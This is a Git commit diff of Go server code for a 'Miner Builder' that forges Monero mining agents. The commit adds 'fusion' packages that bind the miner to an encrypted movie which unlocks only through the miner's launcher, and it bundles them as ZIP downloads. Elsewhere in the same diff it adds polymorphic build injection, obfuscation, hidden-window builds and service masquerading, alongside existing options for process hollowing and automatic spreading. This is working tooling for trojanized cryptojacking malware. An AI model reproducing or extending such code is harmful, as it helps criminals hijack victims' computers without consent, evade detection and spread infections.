Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
@@ -22,8 +22,9 @@ import (
|
||||
|
||||
type BuildRequest struct {
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
ServerURL string `json:"server_url"`
|
||||
BackupServerURLs []string `json:"backup_server_urls"`
|
||||
Wallet string `json:"wallet"`
|
||||
OutputDir string `json:"output_dir"`
|
||||
Threads int `json:"threads"`
|
||||
ThreadMode string `json:"thread_mode"`
|
||||
@@ -55,9 +56,13 @@ type BuildRequest struct {
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
FusionEnabled bool `json:"fusion_enabled"`
|
||||
FusionRunOrder string `json:"fusion_run_order"`
|
||||
FusionOutputName string `json:"fusion_output_name"`
|
||||
FusionEnabled bool `json:"fusion_enabled"`
|
||||
FusionRunOrder string `json:"fusion_run_order"`
|
||||
FusionOutputName string `json:"fusion_output_name"`
|
||||
FusionPayloadKind string `json:"fusion_payload_kind"`
|
||||
FusionMediaMode string `json:"fusion_media_mode"`
|
||||
FusionMediaBaseName string `json:"fusion_media_base_name"`
|
||||
FusionExportSubdir string `json:"fusion_export_subdir"`
|
||||
// AI Autonomy (Ollama)
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
@@ -83,12 +88,22 @@ type BuildResponse struct {
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
FusionExportDir string `json:"fusion_export_dir,omitempty"`
|
||||
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
|
||||
BundleFileName string `json:"bundle_file_name,omitempty"`
|
||||
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
|
||||
BundleSize int64 `json:"bundle_size,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Signed bool `json:"signed,omitempty"`
|
||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type BuildArtifactFile struct {
|
||||
FileName string `json:"file_name"`
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
}
|
||||
|
||||
type Handler struct {
|
||||
db *db.Database
|
||||
dataDir string
|
||||
@@ -147,7 +162,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
@@ -166,10 +181,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||
req.FusionMediaBaseName = header.Filename
|
||||
}
|
||||
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
@@ -230,7 +251,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
@@ -253,7 +274,10 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
prepSize = header.Size
|
||||
prepName = header.Filename
|
||||
}
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
@@ -301,6 +325,30 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, build.FilePath)
|
||||
}
|
||||
|
||||
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
name := sanitizeFileName(chi.URLParam(r, "name"))
|
||||
if name == "" {
|
||||
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||||
path := filepath.Join(buildDir, name)
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
// Paired media may live in fusion export dir — try deliverables folder from query
|
||||
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
|
||||
path = filepath.Join(exportDir, name)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
build, err := h.db.GetBuild(buildID)
|
||||
@@ -352,6 +400,13 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
@@ -367,19 +422,97 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
var extraArtifacts []BuildArtifactFile
|
||||
var fusionRes *fusionBuildResult
|
||||
if req.FusionEnabled {
|
||||
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
|
||||
}
|
||||
var err error
|
||||
fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
finalPath = fusedPath
|
||||
finalName = filepath.Base(fusedPath)
|
||||
finalPath = fusionRes.LauncherPath
|
||||
finalName = filepath.Base(finalPath)
|
||||
fusionEnabled = true
|
||||
if fusionRes.EncryptedPath != "" {
|
||||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||
FileName: filepath.Base(fusionRes.EncryptedPath),
|
||||
FilePath: fusionRes.EncryptedPath,
|
||||
})
|
||||
}
|
||||
if fusionRes.ShortcutPath != "" {
|
||||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||
FileName: filepath.Base(fusionRes.ShortcutPath),
|
||||
FilePath: fusionRes.ShortcutPath,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
exportPath, err := h.publishRootExecutable(finalPath, finalName)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
var fusionExportDir string
|
||||
var bundleFileName string
|
||||
var bundleDownloadURL string
|
||||
var bundleSize int64
|
||||
exportPath := ""
|
||||
if fusionEnabled {
|
||||
exportLabel := req.FusionMediaBaseName
|
||||
if exportLabel == "" {
|
||||
exportLabel = filepath.Base(prepPath)
|
||||
}
|
||||
if req.FusionPayloadKind != "video" {
|
||||
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
|
||||
}
|
||||
arts := map[string]string{finalName: finalPath}
|
||||
for _, ex := range extraArtifacts {
|
||||
arts[ex.FileName] = ex.FilePath
|
||||
}
|
||||
subdir := fusionExportSubdir(req, exportLabel)
|
||||
readme := fusionReadmeInfo{
|
||||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||||
RunnerName: finalName,
|
||||
MediaName: filepath.Base(exportLabel),
|
||||
PayloadKind: req.FusionPayloadKind,
|
||||
MediaMode: req.FusionMediaMode,
|
||||
}
|
||||
if readme.Title == "" {
|
||||
readme.Title = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
fusionExportDir = dir
|
||||
exportPath = filepath.Join(dir, finalName)
|
||||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||
FileName: "README.txt",
|
||||
FilePath: filepath.Join(dir, "README.txt"),
|
||||
})
|
||||
for i := range extraArtifacts {
|
||||
if extraArtifacts[i].FileName != "README.txt" {
|
||||
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
|
||||
}
|
||||
}
|
||||
|
||||
bundleFileName = fusionBundleZipName(subdir)
|
||||
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
|
||||
if err := zipDirectory(dir, bundleBuildPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
|
||||
if st, err := os.Stat(bundleBuildPath); err == nil {
|
||||
bundleSize = st.Size()
|
||||
}
|
||||
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
|
||||
} else {
|
||||
var err error
|
||||
exportPath, err = h.publishRootExecutable(finalPath, finalName)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
if exportPath == "" {
|
||||
exportPath, _ = filepath.Abs(finalPath)
|
||||
}
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
|
||||
@@ -439,7 +572,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
log.Printf("Failed to record build: %v", err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
resp := BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: finalName,
|
||||
@@ -453,10 +586,23 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
ExportPath: exportPath,
|
||||
UninstallExportPath: "",
|
||||
FusionEnabled: fusionEnabled,
|
||||
FusionExportDir: fusionExportDir,
|
||||
ExtraFiles: extraArtifacts,
|
||||
BundleFileName: bundleFileName,
|
||||
BundleDownloadURL: bundleDownloadURL,
|
||||
BundleSize: bundleSize,
|
||||
WorkerFile: workerName,
|
||||
Signed: signed,
|
||||
Obfuscated: obfuscated,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
if fusionEnabled && bundleDownloadURL != "" {
|
||||
resp.DownloadURL = bundleDownloadURL
|
||||
resp.FileName = bundleFileName
|
||||
if bundleSize > 0 {
|
||||
resp.FileSize = bundleSize
|
||||
}
|
||||
}
|
||||
return resp, http.StatusOK, finalPath
|
||||
}
|
||||
|
||||
// publishRootExecutable writes the forged installer as a single file in the project root.
|
||||
@@ -613,6 +759,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
if req.FusionMediaMode == "" {
|
||||
req.FusionMediaMode = "paired"
|
||||
}
|
||||
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
@@ -628,16 +778,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||||
if header == nil || header.Size == 0 {
|
||||
return "", nil, fmt.Errorf("prep.exe upload is empty")
|
||||
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||||
if header == nil {
|
||||
return "", nil, fmt.Errorf("fusion upload is missing")
|
||||
}
|
||||
if header.Size > 150<<20 {
|
||||
return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
|
||||
if header.Size > FusionMaxUploadBytes {
|
||||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||
}
|
||||
name := strings.ToLower(header.Filename)
|
||||
if !strings.HasSuffix(name, ".exe") {
|
||||
return "", nil, fmt.Errorf("prep upload must be a .exe file")
|
||||
baseName := filepath.Base(header.Filename)
|
||||
if baseName == "" || baseName == "." {
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
}
|
||||
if !isFusionPayloadExt(baseName) {
|
||||
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
|
||||
}
|
||||
|
||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||
@@ -648,22 +801,39 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
dest := filepath.Join(dir, "prep.exe")
|
||||
dest := filepath.Join(dir, sanitizeFileName(baseName))
|
||||
out, err := os.Create(dest)
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
if _, err := io.Copy(out, file); err != nil {
|
||||
out.Close()
|
||||
written, err := io.Copy(out, file)
|
||||
out.Close()
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
out.Close()
|
||||
if written == 0 {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, fmt.Errorf("fusion upload is empty")
|
||||
}
|
||||
if written > FusionMaxUploadBytes {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||
}
|
||||
cleanup := func() { _ = os.RemoveAll(dir) }
|
||||
return dest, cleanup, nil
|
||||
}
|
||||
|
||||
func isFusionPayloadExt(name string) bool {
|
||||
switch strings.ToLower(filepath.Ext(name)) {
|
||||
case ".exe", ".mp4", ".mkv", ".mov":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
||||
// Build ID: %s
|
||||
@@ -675,9 +845,10 @@ import "time"
|
||||
|
||||
func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
Wallet: %q,
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
BackupServerURLs: %s,
|
||||
Wallet: %q,
|
||||
Threads: %d,
|
||||
ThreadMode: %q,
|
||||
ThreadPercent: %d,
|
||||
@@ -715,11 +886,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: %v,
|
||||
MeshP2P: %v,
|
||||
AutoSpread: %v,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
req.WorkerName,
|
||||
req.ServerURL,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
req.Wallet,
|
||||
req.Threads,
|
||||
req.ThreadMode,
|
||||
@@ -758,9 +933,32 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ProcessHollowing,
|
||||
req.MeshP2P,
|
||||
req.AutoSpread,
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
)
|
||||
}
|
||||
|
||||
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||||
return req.RunAs == "service" || req.ProcessHollowing
|
||||
}
|
||||
|
||||
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
|
||||
if !serviceMasqueradeEnabled(req) {
|
||||
return ""
|
||||
}
|
||||
name, _ := pickServiceMasquerade(buildID)
|
||||
return name
|
||||
}
|
||||
|
||||
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
|
||||
if !serviceMasqueradeEnabled(req) {
|
||||
return ""
|
||||
}
|
||||
_, donor := pickServiceMasquerade(buildID)
|
||||
return donor
|
||||
}
|
||||
|
||||
func (h *Handler) copyAgentSource(destDir string) error {
|
||||
srcDir := h.agentSrcDir
|
||||
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
|
||||
@@ -826,6 +1024,23 @@ func looksLikeXMRWallet(addr string) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func formatGoStringSlice(values []string) string {
|
||||
if len(values) == 0 {
|
||||
return "nil"
|
||||
}
|
||||
parts := make([]string, 0, len(values))
|
||||
for _, v := range values {
|
||||
v = strings.TrimSpace(v)
|
||||
if v != "" {
|
||||
parts = append(parts, fmt.Sprintf("%q", v))
|
||||
}
|
||||
}
|
||||
if len(parts) == 0 {
|
||||
return "nil"
|
||||
}
|
||||
return "[]string{" + strings.Join(parts, ", ") + "}"
|
||||
}
|
||||
|
||||
func sanitizeFileName(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||||
|
||||
Reference in New Issue
Block a user